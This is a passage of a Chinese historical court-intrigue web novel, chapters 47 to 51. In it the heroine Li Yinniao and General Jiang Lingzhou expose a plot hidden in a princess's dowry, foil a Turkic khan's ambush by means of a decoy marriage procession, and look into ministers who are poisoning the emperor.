《恶女穿成小可怜后,将军掐腰宠》 第47章 嫁妆 黎音袅在筹备温怡公主嫁妆的库房中,正仔细清点着琳琅满目的珍宝。 忽然,她的目光被一个丝绒锦盒中闪烁的奇异光芒吸引。打开锦盒,一枚星河羊角静静躺在其中,那羊角约小臂长短,质地莹润,宛如上等美玉,却又透着金属的冷硬质感。 羊角呈优雅的弯曲状,根部宽厚,越往尖端越显纤细,恰似一弯新月。其上纹路由细碎的金色与湛蓝线条交织而成,仿若浩瀚星河流转,凑近细瞧,似有星辰闪烁、星云翻涌,神秘而迷人。 身为知晓蛮夷风俗之人,黎音袅清楚,这星河羊角是蛮夷部落中地位尊崇者方能佩戴的饰品,怎么会出现在温怡公主的嫁妆里? 她心中警钟大作,却不动声色,悄悄合上锦盒,待四下无人,匆忙寻到江令舟。 “令舟,大事不好!”黎音袅神色焦急,将锦盒递到江令舟面前,“你看,这是在公主嫁妆里发现的,是蛮夷的星河羊角。这其中定有隐情,怎会平白无故出现在这里?”江令舟接过羊角,脸色愈发凝重:“音袅,此事确实蹊跷。朝堂局势本就波谲云诡,各方势力暗流涌动,贸然声张,恐打草惊蛇。咱们先暗中留意,看看朝中究竟是哪些势力与此事有关联。”两人就此商定,暂时将这发现深埋心底,悄悄展开调查。 然而,就在他们着手探寻真相之时,京城之中一则可怕的谣言迅速蔓延。 大街小巷都在窃窃私语,说温怡公主此番和亲,实则心怀不轨,妄图勾结蛮夷,里应外合,颠覆大楚江山。 起初,这谣言不过在市井小巷中流传,可随着时间推移,竟愈演愈烈,最终冲进了皇宫高墙之内。 温怡公主听闻此谣言,只觉五雷轰顶,满心委屈与愤怒。她自幼养在深宫,品性纯良,一心只为家国安宁着想,如今却被这无端谣言泼了一身脏水,侮辱了名节。 泪水在眼眶中打转,她跌跌撞撞地来到皇帝面前,扑通一声跪地,泣不成声:“陛下,冤枉啊!温怡对大楚忠心耿耿,怎会做出那等大逆不道之事。这谣言实在可恶,求陛下为温怡做主,彻查此事,还温怡一个清白。” 皇帝坐在龙椅之上,看着哭倒在地的温怡公主,心中既有对谣言的愤怒,又有对局势的忧虑。“公主莫要伤心,朕定会将此事查个水落石出。只是如今这谣言传得满城风雨,若不妥善处理,恐生大乱。”皇帝目光在大殿中扫视一圈,接着说道,“众爱卿,对此事可有何见解?” 朝堂之上顿时议论纷纷,大臣们各执一词。一位年迈的大臣颤颤巍巍地出列,说道:“陛下,这谣言来得太过蹊跷,背后定有人蓄意为之。依老臣之见,当务之急是尽快查明谣言源头,严惩造谣之人,以正视听。” 另一位年轻的武将则大声说道:“陛下,如今边境局势本就紧张,这谣言说不定是蛮夷故意散播,扰乱我大楚军心民心。我们应立刻加强边境防御,同时对蛮夷采取强硬措施。” 皇帝沉思良久,说道:“诸位所言皆有道理。传朕旨意,刑部即刻着手调查谣言之事,务必在最短时间内揪出幕后黑手。至于边境防御,江将军,你即刻返回边境,加强戒备,以防蛮夷趁乱生事。”江令舟上前一步,单膝跪地,高声领命:“臣遵旨!” 江令舟领命后,匆匆与黎音袅告别,奔赴边境。 而黎音袅则留在京城,继续暗中调查星河羊角之事。她深知,这两件看似毫无关联的事情,背后或许隐藏着千丝万缕的联系。 黎音袅凭借着自己在京城中的人脉,四处打听消息。她走访了众多与嫁妆筹备相关的人员,从绣坊的绣娘到负责采买的官员,逐一询问。 终于,在一位老绣娘那里,她得到了一丝线索。老绣娘犹豫再三,小声说道:“姑娘,我曾听那采买的张大人私下里嘀咕,说这嫁妆里有几样物件是某位大人特意交代要放进去的,具体是谁,我也不太清楚。” 黎音袅谢过老绣娘,立刻开始调查这位张大人。 经过一番周折,她发现张大人近日与朝中一位权贵往来密切,而这位权贵,正是在朝堂上一直主张对蛮夷采取怀柔政策的吏部尚书周大人。 黎音袅觉得此事愈发可疑,她决定将这一发现告诉皇帝。在宫中,她见到了皇帝,将自己调查的结果详细汇报。皇帝听后,脸色大变:“周爱卿竟做出这等事?此事关系重大,若无确凿证据,不可轻易定论。黎姑娘,你继续深入调查,务必要将此事查个明明白白。” 黎音袅领命后,继续深入调查。 她设法潜入周大人府中,寻找相关证据。在周大人的书房里,她发现了一些信件,信件内容证实了周大人与蛮夷使者暗中勾结,企图通过温怡公主和亲,谋取私利,而那星河羊角,正是他们勾结的信物之一。 黎音袅带着证据,再次进宫面见皇帝。皇帝看到信件后,、当即下令将周大人捉拿归案。 经过审讯,周大人对自己的罪行供认不讳。原来,他为了获取更多的财富和权力,与蛮夷使者勾结,妄图通过温怡公主和亲,在大楚朝堂上安插自己的势力,进而掌控朝政。 随着周大人的落网,谣言的真相也水落石出。皇帝下令将此事昭告天下,还了温怡公主一个清白。而温怡公主,经历了这场风波后,对和亲之事更加抵触。 她再次向皇帝哭诉:“陛下,臣妾实在不愿远嫁蛮夷。如今真相已明,还望陛下收回成命。” 皇帝看着温怡公主,心中满是无奈,说道:“公主,朕明白你的心思。只是如今边境局势依然严峻,若不与蛮夷达成和解,战火一起,受苦的还是百姓。朕会再与蛮夷使者商议,看看能否找到一个两全其美的办法。” 与此同时,江令舟在边境上加强了防御工事,整军备战。他时刻关注着蛮夷的动向,以防他们发动袭击。 在京城的一处阴暗角落里,一个神秘人正冷冷地注视着这一切。他手中把玩着一枚与温怡公主嫁妆中相似的星河羊角,嘴角泛起一丝不易察觉的冷笑:“周大人,你不过是一颗弃子罢了。这场游戏,才刚刚开始……”说罢,他将羊角收入怀中,消失在了黑暗之中。 第48章 真相 黎音袅听闻温怡公主求皇帝退婚,立刻决定前去帮忙。 然而,刚走到府门口,却被黎音树拦住了去路。黎音树双手张开挡在黎音袅身前,劝说道:“音袅,此事不可莽撞!朝堂局势错综复杂,和亲一事牵扯众多,你贸然进宫,恐怕不但帮不了温怡公主,还会给自己招来灾祸。” 黎音袅心急如焚,大声反驳道:“兄长,你莫要阻拦我!温怡公主于我有救命之恩,如今她深陷困境,我怎能袖手旁观?大楚江山固然重要,但也不能以牺牲公主的幸福为代价!”说罢,她用力推开黎音树,不顾阻拦,径直朝着皇宫奔去。 一路疾行,黎音袅终于赶到了皇宫。当她踏入宫殿,只见温怡公主身着素服,跪在殿前,已然哭成了泪人。 周围的大臣们则围成一圈,你一言我一语地纷纷游说。 一位白发苍苍的老臣上前一步,躬身对皇帝说道:“陛下,如今边境战事吃紧,蛮夷虎视眈眈,和亲乃权宜之计。温怡公主深明大义,若能为了大楚的江山社稷远嫁蛮夷,实乃我大楚之幸啊!” 另一位年轻的官员也附和道:“是啊,陛下。公主牺牲一人,却能换来边境的长久和平,无数百姓免遭战火涂炭,此等大义,公主定能担当。” 温怡公主抬起满是泪痕的脸,哭喊道:“诸位大人,我虽为公主,却也是一个活生生的人,有血有肉,有自己的情感。为何要将我当作换取和平的筹码?我不想远嫁那陌生又野蛮的蛮夷之地啊!”然而,大臣们的劝说声此起彼伏,淹没了她的哭诉。 就在众人僵持不下之时,宫中侍卫突然匆匆赶来,手中捧着一封信件,高声说道:“陛下,宫外有人特意嘱咐,务必将此信交给您。”许鹤鸣微微皱眉,接过信件,缓缓打开。 刹那间,他的脸色瞬间变得凝重起来,原本坐在龙椅上的身子也不自觉地前倾。 殿内众人见皇帝神色有异,顿时安静下来。黎音袅见状,悄悄靠近温怡公主,将公主扶起,轻声安慰道:“公主莫怕,定是有转机出现了。” 许鹤鸣看完信件,沉默良久,终于开口说道:“众爱卿,这信中所言之事,关乎重大,朕需仔细思量。和亲之事,暂且搁置。温怡公主,你先回寝宫休息吧。”说罢,他挥了挥手,示意众人退下。 黎音袅扶着温怡公主走出宫殿,一路上,温怡公主仍在抽泣,她哽咽着说道:“音袅,我真的不想去蛮夷,刚刚他们那般逼迫,我……我真的好害怕。”黎音袅拍了拍公主的肩膀,安慰道:“公主放心,有我在。那封信说不定能改变这一切,咱们先回寝宫,等待陛下的旨意。” 回到寝宫,黎音袅让温怡公主躺在床上休息,自己则坐在一旁,心中不断猜测那封信的内容。 与此同时,朝堂之上,大臣们纷纷围在皇帝身边,询问信件的内容。 许鹤鸣看着诸位大臣,缓缓说道:“信中所言,蛮夷内部并非铁板一块,如今其部落中几大势力正在争夺权力,局势动荡不安。若此时我们贸然答应和亲,很可能被卷入他们的内部纷争,反而给大楚带来灾祸。” 一位大臣听后,说道:“陛下,如此说来,这和亲之事确实得慎重考虑了。但边境战事紧迫,若不与蛮夷达成和解,如何是好?” 许鹤鸣沉思片刻,说道:“朕打算派使者前往蛮夷部落,深入了解他们的内部情况。同时,命江令舟加强边境防御,密切关注蛮夷动向。至于和亲一事,等使者带回消息后,再做定夺。” 大臣们纷纷点头表示赞同。 然而,就在这时,一位站在角落里的大臣微微皱眉,此人正是一直主张与蛮夷和亲的吏部侍郎林大人。他心中明白,若皇帝真的派人去蛮夷部落调查,自己与蛮夷暗中勾结的事情很可能会败露。 黎音袅在温怡公主的寝宫守了一夜,第二天一早,她便决定去寻找江令舟,将宫中发生的事情告诉他。江令舟此时正在军营中整军备战,接到黎音袅的消息后,立刻前来相见。 黎音袅将温怡公主求皇帝退婚以及那封信件的事情详细地告诉了江令舟。江令舟听后,说道:“这封信来得蹊跷,背后定有隐情。我看,我们得先从送信之人入手,查明真相。” 黎音袅点头表示同意。两人商议一番后,决定先在京城中四处打听,看看能否找到关于送信人的线索。 经过一整天的调查,他们终于从一个街边小贩那里得知,送信之人是一个身着黑袍、身形高大的男子,昨天下午在京城的一家酒馆出现过,与酒馆老板似乎很熟络。 黎音袅和江令舟立刻前往那家酒馆,找到了酒馆老板。酒馆老板见到他们,神色有些慌张。江令舟上前一步,说道:“老板,我们是来打听昨天下午来你这儿的那个黑袍男子的事情。你若如实相告,我们必有重谢。” 酒馆老板犹豫片刻,缓缓开口:“两位客官,实不相瞒,那黑袍男子我也不认识,只是他昨天给了我一大笔银子,让我帮忙把一封信交给一个侍卫,说那侍卫会在今天早上在宫门口等他。我见银子不少,就答应了。” 黎音袅赶忙问道:“那男子有没有说他为什么要送信?”酒馆老板摇了摇头,说道:“他没说,只是叮嘱我千万不要告诉别人他的事情。” 江令舟和黎音袅心中都明白,这事情越来越复杂了。 他们谢过酒馆老板,离开酒馆后,继续寻找线索。然而,一连几天过去了,他们依然没有找到黑袍男子的下落。 就在他们感到一筹莫展的时候,宫中突然传来消息,皇帝已经选定了前往蛮夷部落的使者,不日即将启程。黎音袅和江令舟得知消息后,决定进宫面见皇帝,将他们调查的情况告诉皇帝。 在宫中,他们见到了许鹤鸣。黎音袅将他们调查到的关于送信人的线索以及自己的猜测详细地汇报给了皇帝。许鹤鸣听后,说道:“没想到此事背后竟有如此多的隐情。看来,这蛮夷部落的情况比我们想象的还要复杂。你们继续调查,一定要查明真相。至于使者,朕会叮嘱他小心行事。” 黎音袅和江令舟领命后,离开皇宫。 日子一天天过去,边境的局势依然紧张,京城中的气氛也愈发压抑。温怡公主每日都在寝宫中焦急地等待着消息,她的心情随着局势的变化而起伏不定。 而黎音袅和江令舟则在京城中四处奔波,努力寻找着关于黑袍男子以及蛮夷部落内部纷争的线索。 终于,在一个风雨交加的夜晚,黎音袅和江令舟在京城的一个偏僻小巷中发现了黑袍男子的踪迹。 第49章 可汗的阴谋 江令舟和黎音袅紧紧尾随着那穿黑袍的神秘人,踏入了小巷深处那座偏僻的庭院。 两人屏气敛息,猫着腰靠近,透过半掩的门缝向内窥探。只见庭院中,黑袍人恭恭敬敬地跪地,对着一位身着突厥服饰的男子行礼,口中高呼:“可汗。”黎音袅和江令舟对视一眼,眼中满是震惊,没想到竟在此处撞见突厥可汗。 突厥可汗微微抬手,示意黑袍人起身,声音低沉地说道:“一切可都安排妥当?”黑袍人连忙点头,谄媚地回应:“可汗放心,等温怡公主嫁过来,我们便以迎接公主之名,将精锐部队混入送亲队伍,待进入大楚边境,找准时机发动突袭,定能打大楚一个措手不及。”可汗嘴角勾起一抹冷酷的笑意:“很好,大楚繁华富庶,此番定要让他们为拒绝与我突厥全面通商付出惨痛代价。” 黎音袅听着他们的阴谋,只觉一股怒火直冲脑门,悄声对江令舟说:“这等狼子野心,绝不能让他们得逞,必须取消和亲!”江令舟面色凝重,用力点头:“音袅,莫急,咱们先回府从长计议,贸然行事恐坏了大事。”二人强压着内心的愤怒,悄然退离庭院,疾步返回府邸。 一进家门,黎音袅便在厅中来回踱步,难掩激动:“江将军,怎能不急?温怡公主若真嫁过去,不只是她,大楚边境百姓都将深陷水火!”江令舟倒了两杯茶,递给黎音袅一杯,试图让她冷静:“我懂你的心情,可朝堂之上,和亲之事已成定局,仅凭我们一面之词,皇帝恐难采信。”黎音袅接过茶,却无心喝,思索片刻后说:“那我们就收集证据,先去找楚逸,他行走江湖,人脉广,说不定能助我们一臂之力。” 与此同时,皇宫中,温怡公主仍在为和亲之事忧愁。她坐在窗前,望着窗外的花园。贴身宫女心疼地劝道:“公主,您多少吃点东西吧,这般愁下去,身子可怎么受得了。”温怡公主轻轻摇头:“我哪有心思进食,一想到要远嫁突厥,前路茫茫,满心都是惶恐。” 而朝堂之上,大臣们也在为和亲之事争论不休。主张和亲的大臣们认为,此举可保边境一时安宁,换取大楚休养生息的时间。反对者则忧心蛮夷中此次要求和亲的部落突厥可汗最为狡诈,和亲恐成引狼入室之举。皇帝端坐在龙椅上,听着大臣们的争辩,眉头紧锁,心中也是左右为难。 黎音袅和江令舟找到黎音树,将在庭院中的所见所闻告知。黎音树听完,也是怒不可遏:“这等奸计,实在可恶!二位放心,我这就去联络各路江湖豪杰,看看能否探听到更多突厥的阴谋细节。”三人商议一番,决定分头行动,楚逸负责在江湖中打探消息,黎音袅和江令舟则继续在京城寻找能呈递给皇帝的铁证,以揭露突厥的阴谋。 黎音袅再次来到之前调查过的与嫁妆有关的绣坊,她找到那位老绣娘,恳切地说:“大娘,我此番前来,事关重大。之前您提到采买张大人,可还记得他与您说过关于嫁妆里那些奇怪物件的更多细节?这关系到大楚安危,求您再仔细想想。”老绣娘皱着眉回忆:“姑娘,我记得张大人曾嘟囔,说有些东西是为了给突厥那边一个‘交代’,具体啥交代,我也没听清。”黎音袅心中一动,看来这嫁妆里的猫腻与突厥阴谋果然紧密相连。 江令舟则在京城的码头、客栈等往来人员繁杂之地暗访,试图找出突厥势力在京城的其他联络点。功夫不负有心人,他发现了一家看似普通的客栈,实则常有形迹可疑之人出入,且这些人言行举止间带着突厥人的特征。江令舟暗中观察多日,记下了他们的碰面时间和联络方式。 几日后,黎音树匆匆赶回,带来了更为惊人的消息:“我打听到,突厥可汗为了此次突袭,已暗中集结了大量兵力,就等和亲队伍入境。而且,他们在大楚朝堂中似乎还有内应,只是此人身份极为隐秘,尚未查明。”黎音袅和江令舟听闻,脸色愈发沉重。 三人再度聚首商议,决定先将收集到的证据整理成册,由江令舟进宫面见皇帝。江令舟手持证据,跪在皇帝面前,将突厥的阴谋详细禀明:“陛下,突厥狼子野心,妄图借和亲之名行突袭之实。这是我们收集到的证据,望陛下明察,取消和亲,早做防范。”皇帝接过证据,仔细翻看,脸色由凝重转为震怒:“大胆突厥,竟敢如此欺朕!若不是你们发现,大楚险些陷入万劫不复之地。” 然而,就在此时,朝堂上却有人站出来质疑:“陛下,这证据从何而来,又如何能证明其真实性?莫不是有人蓄意编造,妄图破坏和亲大局。”江令舟看向说话之人,正是之前力主和亲的吏部侍郎赵大人。他心中不禁起疑,难道赵大人就是突厥在朝堂中的内应? 皇帝也陷入了沉思,此事关乎重大,他不能仅凭江令舟一面之词就取消和亲。于是,他下令:“此事需从长计议,江令舟,你继续追查,务必将突厥阴谋彻查清楚,找到确凿铁证。同时,加强边境戒备,密切关注突厥动向。” 黎音袅和江令舟并未气馁,他们知道,留给他们的时间不多了。为了找出赵大人与突厥勾结的证据,黎音袅乔装打扮,混入赵大人府中做丫鬟。在府中,她小心谨慎地寻找线索,终于在赵大人书房的暗格里发现了几封密信,信中内容正是赵大人与突厥可汗的往来商议,赫然写着突袭计划以及他在朝堂内应如何运作。 黎音袅带着密信,与江令舟再次进宫。这一次,面对铁证如山,皇帝再无怀疑,当即下令取消和亲,并严惩赵大人。同时,调遣大军前往边境,严阵以待,防备突厥来袭。 温怡公主得知和亲取消,喜极而泣,她找到黎音袅和江令舟,感激地说:“多谢二位救命之恩,若不是你们,我恐怕已深陷险境。”黎音袅笑着握住公主的手:“公主不必客气,这是我们应该做的。如今危机尚未完全解除,还需一同守护大楚安宁。” 大楚边境,军队严阵以待,士兵们士气高昂。江令舟身披战甲,站在城墙上,看向远方。 第50章 将计就计 江令舟奔赴边境后,京城大楚朝堂内的气氛愈发凝。 黎音袅与黎音树并肩而立,目光坚定地审视着局势,决心在这暗流涌动中为大楚寻出生路。 黎音袅率先打破沉默,声音清脆却:“如今突厥野心昭然若揭,和亲已成他们发动突袭的幌子。依我之见,咱们不妨假意答应和亲,稳住突厥可汗,为调兵遣将争取时间。”黎音树微微点头,补充道:“妹妹所言极是。但这‘假意’二字,需做得天衣无缝,不能让突厥有丝毫察觉。同时,暗中调兵遣将,以和亲队伍为幌子,让士兵们名正言顺地支援江令舟,方能在边境形成有力防线。” 二人商议妥当,即刻进宫面见皇帝。 皇帝见他们进来,急切问道:“黎氏兄妹,可有应对良策?如今边境告急,朕忧心忡忡。” 黎音袅上前一步,跪地行礼后,将计划详细禀明:“陛下,突厥狼子野心,欲借和亲发动突袭。我等建议,先假意应允和亲,稳住突厥可汗。与此同时,暗中集结兵力,伪装成和亲队伍,奔赴边境支援江将军。如此,既能避免打草惊蛇,又能增强边境防御,给突厥来个措手不及。” 皇帝听完,沉思良久。他缓缓开口:“此计虽妙,却太过冒险。若突厥稍有察觉,后果不堪设想。”黎音树赶忙说道:“陛下,我与妹妹已反复斟酌,定会将计划细节安排妥当,确保万无一失。如今局势危急,若不冒险一试,大楚恐将陷入更大危机。”皇帝又思索片刻,重重地点了点头,说道:“此计可行。但其中细节繁多,稍有差池,便会满盘皆输。黎氏兄妹,朕命你们全权负责此事,务必谨慎行事。” 黎音袅和黎音树领命后,迅速投入到紧张的筹备工作中。 首先,他们需挑选合适的人选假扮和亲公主。黎音袅在京城中四处寻觅,终于找到一位与温怡公主身形、面容有几分相似的民间女子,名叫苏瑶。苏瑶本是个孤女,生性善良且胆识过人。黎音袅向她说明来意后,苏瑶毫不犹豫地答应了。 “姑娘,此去危险重重,你当真考虑清楚了?”黎音袅关切地问道。苏瑶说道:“长公主放心,我虽只是个普通民女,但也知晓大楚面临的危机。能为国家出一份力,是我的荣幸。只是……我从未接触过皇家礼仪,怕到时候出丑,坏了大事。”黎音袅微笑着安慰她:“苏姑娘不必担忧,我会亲自教你。你聪慧过人,定能学得又快又好。”苏瑶用力地点点头:“多谢长公主信任,我定不负所托。”黎音袅心中感动,紧紧握住苏瑶的手:“好姑娘,若此番事成,大楚定不会亏待你。” 与此同时,黎音树则负责调兵遣将。他与几位心腹将领秘密商议,挑选出一批精锐士兵,将他们乔装打扮成送亲队伍的护卫、侍从。为了不引起突厥眼线的怀疑,士兵们不仅要换上华丽的服饰,还要学习送亲队伍的礼仪和规矩。这期间,难免有人心生疑惑,但在黎音树的耐心解释和严明军纪下,众人都齐心协力地投入到准备工作中。 一位年轻的士兵忍不住问道:“将军,咱们为何要扮成送亲队伍?直接奔赴边境杀敌岂不痛快!”黎音树耐心解释道:“兄弟,这是为了麻痹突厥。若大张旗鼓地调兵,突厥定会察觉,提前发动攻击。咱们扮成送亲队伍,既能掩人耳目,又能在关键时刻给突厥致命一击。”士兵恍然大悟,挠挠头说道:“原来是这样,将军英明!我等定当严守机密,听从指挥。” 然而,朝堂之上并非所有人都支持这个计划。一些主张求和的大臣听闻后,纷纷跳出来反对。一位年迈的大臣颤颤巍巍地出列,道:“陛下,此举太过冒险。若突厥识破我们的计谋,定会引发大规模战争,大楚百姓又将生灵涂炭。依老臣之见,还是应以和为贵,真心与突厥和亲,方能保边境安宁。” 黎音袅立刻反驳道:“大人,突厥狼子野心,岂会因一次和亲就善罢甘休?此次若真的和亲,不过是将大楚拱手让于突厥。我们假意和亲,实则暗中备战,才是为大楚争取生机。”另一位支持黎音袅的大臣也站起身来,说道:“是啊,陛下。突厥近年来屡屡进犯,从未有过真心求和之意。此次和亲,定是他们的阴谋。我们不能坐以待毙,必须主动出击。”朝堂上一时争论不休。 皇帝被这激烈的争论弄得头疼不已。最终,他还是选择相信黎音袅和黎音树的计划,说道:“诸位爱卿,朕意已决。此次便依黎氏兄妹之计,暗中筹备。但切不可掉以轻心,一定要确保计划万无一失。”那些反对的大臣见皇帝心意已决,也只能无奈地退下。 在紧张的筹备过程中,黎音袅和黎音树还面临着一个棘手的问题。就是如何将大量的武器和物资悄无声息地运送到边境。他们与负责后勤的官员反复商讨,最终决定利用京城中几家与朝廷暗中合作的商户,通过正常的贸易渠道,将武器和物资伪装成普通货物,分批运往边境。 负责后勤的官员面露难色,说道:“长公主,这任务难度不小。既要保证物资安全送达,又不能引起突厥注意,实在不易。”黎音树拍了拍他的肩膀,说道:“我知道此事艰难,但如今大楚危在旦夕,只能出此下策。还望你多费心思,务必将物资按时送到边境。”官员坚定地点点头:“请放心,我定当竭尽全力。” 日子一天天过去,和亲队伍的筹备工作逐渐完成。苏瑶在黎音袅的悉心教导下,举手投足间已颇具公主风范。送亲队伍的护卫和侍从们也已熟练掌握了各自的任务和礼仪。一切准备就绪,只等出发的命令。 出发前夕,黎音袅再次进宫向皇帝汇报情况。皇帝说道:“黎姑娘,此番重任就托付于你了。若计划成功,你便是大楚的功臣。”黎音袅跪地行礼,说道:“陛下放心,臣定当竭尽全力,不负陛下所托。只是臣还有一事担忧,突厥狡诈,若在途中设伏,我们该如何应对?”皇帝沉思片刻,说道:“朕会命沿途的守军暗中接应你们,若遇危险,可向他们求助。”黎音袅感激地说道:“多谢陛下周全考虑。” 和亲队伍浩浩荡荡地离开了京城,朝着边境进发。队伍中,苏瑶端坐在华丽的马车里,心中既紧张又激动。她轻声问身旁的侍女:“姐姐,你说我们真能顺利完成任务吗?”侍女安慰道:“公主放心,有这么多英勇的将士保护我们,还有黎姑娘的精心安排,一定能成功的。”苏瑶深吸一口气,暗暗给自己打气:“嗯,我不能辜负大家的期望。”而伪装成护卫和侍从的士兵们,表面上神色轻松,实则暗自戒备,时刻警惕着周围的动静。 在边境,江令舟早已得知了朝堂的计划。他一面加强边境的防御工事,一面等待着和亲队伍的到来。 他对副将说道:“此次任务艰巨,我们必须严阵以待。一旦和亲队伍入境,突厥必定有所行动,我们要抓住时机,给他们迎头痛击。”副将坚定地回答:“将军放心,兄弟们都已摩拳擦掌,就等与突厥决一死战!” 当和亲队伍缓缓靠近边境时,突厥的斥候早已将消息传回。突厥可汗听闻大楚果然答应了和亲,心中暗自得意,以为大楚已落入他的圈套。他对身旁的谋士说道:“哼,大楚终究还是怕了。等他们的和亲队伍一到,我们便发动突袭,定能一举拿下大楚边境。”谋士谄媚地笑道:“可汗英明,大楚此番必败无疑。” 然而,突厥可汗万万没有想到,大楚早已在暗中布下了天罗地网。和亲队伍刚一进入边境,江令舟便率领着早已埋伏好的士兵们,与伪装成送亲队伍的士兵们里应外合,对突厥军队发起了猛烈的攻击。一时间,喊杀声震天,硝烟弥漫。 江令舟手持长枪,大声喊道:“兄弟们,为了大楚,冲啊!”士兵们士气大振,纷纷奋勇杀敌。 苏瑶也走出马车,为受伤的士兵们包扎伤口,鼓舞士气。她喊道:“将士们加油,你们是大楚的英雄!”而黎音袅则在后方指挥着后勤工作,确保物资的供应和伤员的救治。她对负责物资调配的官员说道:“一定要保证前线的物资充足,不能让将士们饿着肚子打仗。”官员连连点头:“长公主放心,物资会源源不断地送往前线。” 经过一场艰苦卓绝的战斗,大楚军队终于成功击退了突厥的进攻。突厥可汗见大势已去,只能带着残兵败将狼狈逃窜。大楚取得了一场辉煌的胜利,边境的危机暂时得以解除。 消息传回京城,整个大楚都沉浸在喜悦之中。皇帝龙颜大悦,下令嘉奖黎音袅、黎音树、江令舟以及所有参与战斗的士兵们。 皇帝在朝堂上宣布:“长公主、黎将军足智多谋,江将军英勇善战,诸位将士奋勇杀敌,皆为大楚立下汗马功劳。朕今日特予嘉奖,望你们日后继续为大楚效力。”众人纷纷跪地谢恩。 而苏瑶,也因她的勇敢和奉献,被皇帝收为义女,赐予公主的封号。 皇帝亲切地对苏瑶说:“苏姑娘,你为大楚做出了巨大贡献,从今往后,你便是朕的女儿,大楚的公主。”苏瑶感动得热泪盈眶,跪地说道:“多谢陛下,苏瑶定当铭记陛下恩情。” 第51章 暗中勾结 庆功宴上,大楚的朝堂显贵们纷纷举杯,庆祝边境的胜利。 江令舟身着戎装,英姿飒爽,接受着众人的祝贺。 然而,他捕捉到了丞相和侯爷在角落处的窃窃私语,两人不时投来隐晦的目光,这让江令舟心生疑虑。 宴会结束后,江令舟匆匆回到府邸,与黎音袅闭门长谈。“长公主,今日庆功宴上,丞相和侯爷的举动甚是可疑,他们的神态和言语间,似乎隐藏着不可告人的秘密。” 黎音袅秀眉微蹙,沉思片刻后说道:“朝堂局势本就复杂,如今边境初定,他们却这般行径,恐怕是在谋划着对陛下不利的事情。”两人商议许久,决定先加强对皇宫的守卫,以防意外发生。 次日,江令舟进宫面见皇帝许鹤鸣,将自己的担忧如实禀报:“陛下,臣在庆功宴上察觉丞相和侯爷行为异常,为保陛下安危,臣建议即刻加强皇宫守卫,增加巡逻频次,严查进出人员。”许鹤鸣深知朝堂势力错综复杂,稍有不慎便会陷入危机,当即下令:“江爱卿所言极是,此事就交由你全权负责,务必确保皇宫安全无虞。” 江令舟领命后,迅速着手安排。他从自己的亲卫中挑选出一批精锐之士,充实到皇宫守卫队伍中,并制定了一套严格的巡逻和门禁制度。同时,他还在皇宫的各个关键位置安插了眼线,以便及时掌握宫中的动静。 在加强皇宫守卫的同时,他开始在军中培养自己的心腹,利用日常的训练和作战机会,选拔那些忠诚勇敢、有担当的将士,将他们提拔到重要岗位,传授他们军事谋略和指挥技巧,逐渐形成了一股以他为核心的中坚力量。 “兄弟们,我们肩负着保卫大楚、守护陛下的重任。今日我将你们聚集在此,是希望我们能齐心协力,共御外敌。”江令舟站在一众将士面前,目光坚定地说道。将士们纷纷单膝跪地,高呼:“愿为将军效命,为大楚赴汤蹈火!” 除此之外,江令舟还利用自己在朝中的影响力,积极拉拢一些中立的大臣。礼部尚书赵大人,为人正直,在朝中颇有威望,且一直保持中立态度。江令舟决定先从他入手。 江令舟亲自登门拜访赵大人,表明来意:“赵大人,如今朝堂暗流涌动,丞相和侯爷心怀不轨,陛下处境堪忧。大人乃国之栋梁,若能与我等一同支持陛下,定能保大楚太平。”赵大人听后,眉头紧皱,沉思良久后说道:“江将军,老夫也早有察觉朝堂之变。只是此事干系重大,老夫还需斟酌。” 江令舟并未气馁,他多次与赵大人交流,向他分析局势的严峻性,阐述支持许鹤鸣对大楚的重要意义。终于,在江令舟的不懈努力下,赵大人被说服:“江将军一片赤诚,为了大楚,老夫愿与将军携手,共护陛下。” 随着江令舟的努力,越来越多的中立大臣加入到支持许鹤鸣的阵营中,朝堂上支持皇帝的势力逐渐壮大。然而,这一切并没有逃过丞相和侯爷的眼睛,他们察觉到江令舟的行动后,开始暗中谋划对策。 “这江令舟实在可恶,竟敢坏我们的好事!”丞相一脸阴沉,怒声说道。 侯爷冷笑一声:“哼,他以为拉拢几个大臣就能阻止我们?太天真了。我们也不能坐以待毙,得想个办法除掉他。”两人商议许久,决定先从江令舟安插在皇宫的眼线入手,试图找出破绽,破坏他的计划。 一日,皇宫中的一名眼线突然失踪,江令舟得知消息后,心中一紧,他知道,自己的行动已经引起了对方的警觉。 他立刻召集黎音袅和几位心腹商议对策。 “如今对方已经有所行动,我们必须加快步伐。一方面,要尽快巩固已拉拢的势力;另一方面,要加强对皇宫守卫和眼线的保护,不能让对方有机可乘。”江令舟冷静地分析着局势。 黎音袅点头赞同:“江将军所言极是。我们还可以利用一些江湖力量,在暗中监视丞相和侯爷的一举一动,掌握他们的动向。”众人商议妥当,各自展开行动。 江令舟加大了与支持皇帝的大臣们的联系,组织了多次秘密会议,商讨应对之策,进一步巩固了阵营。 同时,他加强了对皇宫守卫和眼线的保护措施,增加了暗哨,制定了紧急联络信号。而黎音袅则凭借自己在江湖中的人脉,联络了一些江湖义士,让他们暗中监视丞相和侯爷的府邸,一旦有异常情况,立刻汇报。 然而,局势愈发紧张,丞相和侯爷似乎在酝酿着一场更大的阴谋。一日,宫中突然传出消息,说皇帝许鹤鸣身体不适,卧床不起。江令舟和黎音袅听闻后,心中一惊,他们怀疑这是丞相和侯爷的阴谋,立刻进宫探望。 在皇宫中,他们见到了面容憔悴的许鹤鸣。许鹤鸣拉着江令舟的手,虚弱地说道:“江将军,朕恐遭人算计,身体莫名不适。如今朝堂局势危急,朕将一切托付于你,务必保我大楚江山。”江令舟单膝跪地,坚定地说道:“陛下放心,臣定当竭尽全力,护陛下周全,保大楚太平。” 江令舟和黎音袅离开皇帝寝宫后,立刻展开调查。他们发现,皇帝的饮食和用药都被人动了手脚。江令舟怒不可遏:“这必定是丞相和侯爷所为,他们竟敢对陛下下手,实在罪大恶极!”黎音袅冷静地说道:“当务之急是找到证据,揭露他们的罪行,同时要尽快为陛下找到解药。” 两人四处寻找线索,终于从一名宫女口中得知,近日有一个陌生人频繁出入皇宫,与负责皇帝饮食的太监接触密切。江令舟和黎音袅顺着这条线索追查下去,发现这个陌生人与丞相府有着千丝万缕的联系。 黎音袅迅速派人将御膳房宫女带到一处隐蔽的房间,她眼神严厉的,看着宫女说道:“姑娘,事关陛下安危,还请你将前几日那个陌生送菜人的事情,一五一十详细道来。” 第52章 线索 